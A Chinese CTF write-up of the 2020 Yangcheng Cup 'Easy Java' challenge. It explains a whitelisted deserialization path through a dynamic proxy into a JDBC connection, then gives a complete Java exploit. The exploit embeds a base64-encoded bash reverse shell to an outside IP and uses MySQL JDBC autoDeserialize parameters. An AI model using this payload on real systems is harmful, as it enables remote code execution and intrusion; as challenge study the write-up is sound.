CTF Web安全

羊城杯 Easy Java(jdbc反序列化)

Posted on 2020-09-11,4 min read

首先审源码

几个路由就进行了反序列化的操作。
然后把反序列化的值。放入模板。渲染
继续看下面deserialize函数的具体实现

这里SerialKiller。是一个控制你能反序列化那些类的
这里他指定了白名单只能反序列化gdufs和java.lang下的类
OK。那么现在存在反序列化漏洞但是有白名单
还有一个是可能存在模板注入。但是语法试了下。都没解析。
继续看源码
还存在Databaseinfo类和infoinvocationHander类
这两个类都实现了serialize接口。
并且Databaseinfo类。实现了info接口

public class DatabaseInfo implements Serializable, Info 

InfoInvocationHandler类。实现了InvocationHandler

public class InfoInvocationHandler implements InvocationHandler, Serializable

这就又涉及到java的动态代理
如果不清楚。看https://www.jianshu.com/p/e575bba365f8这篇文章。看懂就没啥问题了

这里呢。首先反序列化会触发InfoInvocationHandler的invoke方法。然后调用传入类的

代理对象在执行被代理对象的任意方法时,会首先执行我们之前重写的InvocationHandler的invoke方法。同时会传入三个参数

checkAllInfo方法
到了这里。我们是不是可以把Databaseinfo类放入这个代理类中。导致

this.info = Databaseinfo类
下面继续调用
this.info.checkAllInfo()
就调用调用了databaseinfo类的checkAllinfo方法

继续看

他调用了checkAllinfo方法。又会调用connect方法
用jdbc去连接IP:PORT
那么反序列化。我们这些值都可控。所以又有两种可能
1.JDBC反序列化
2.mysql任意文件读取

欸。突然想起来
还记得之前SerialKiller的白名单嘛。这两个类。刚好都是gdufs下的。所以都是允许的

下面是exp

package gdufs.challenge.web;

import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {
    public static void main(String[] args) throws Exception {
        DatabaseInfo databaseInfo = new DatabaseInfo();
        databaseInfo.setHost("119.45.155.77");
        databaseInfo.setPort("3306");
        databaseInfo.setUsername("yso_CommonsCollections5_bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzExOS40NS4xNTUuNzcvMTMzNyAwPiYx}|{base64,-d}|{bash,-i}");
        databaseInfo.setPassword("123&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
        ClassLoader classLoader = databaseInfo.getClass().getClassLoader();
        Class[] interfaces = databaseInfo.getClass().getInterfaces();
        InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseInfo);
        Info proxy = (Info)Proxy.newProxyInstance(classLoader,interfaces,infoInvocationHandler);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
        objectOutputStream.writeObject(proxy);
        objectOutputStream.flush();
        objectOutputStream.close();
        System.out.printf(new String(Base64.getEncoder().encode(baos.toByteArray())));

    }
}

还是看的https://zhzhdoai.github.io/2020/09/11/%E7%BE%8A%E5%9F%8E%E6%9D%AFEasy-Java%E9%A2%98%E8%A7%A3/师傅的博客复现的
但是我本地起来以后。并没找到repository/org/nibblesec/serialkiller/0.4/serialkiller-0.4.pom中的commons版本。而是在https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml上。发现了SerialKiller包依赖于commons-collections这个包。所以可以用yso一把梭

途中还有些坑。比如。打开下来的java源码。写个exp。idea右键没run方法。这是因为idea把他当spring项目。嘚像web启动。不能单个文件run。。
解决办法:
File->Project Structure->

把这个目录变成目录。而不是spring项目。
写exp就可以正常执行了

然后VPS启动Fake_mysql_server。监听就行了

下一篇: Java spring SPEL表达式注入→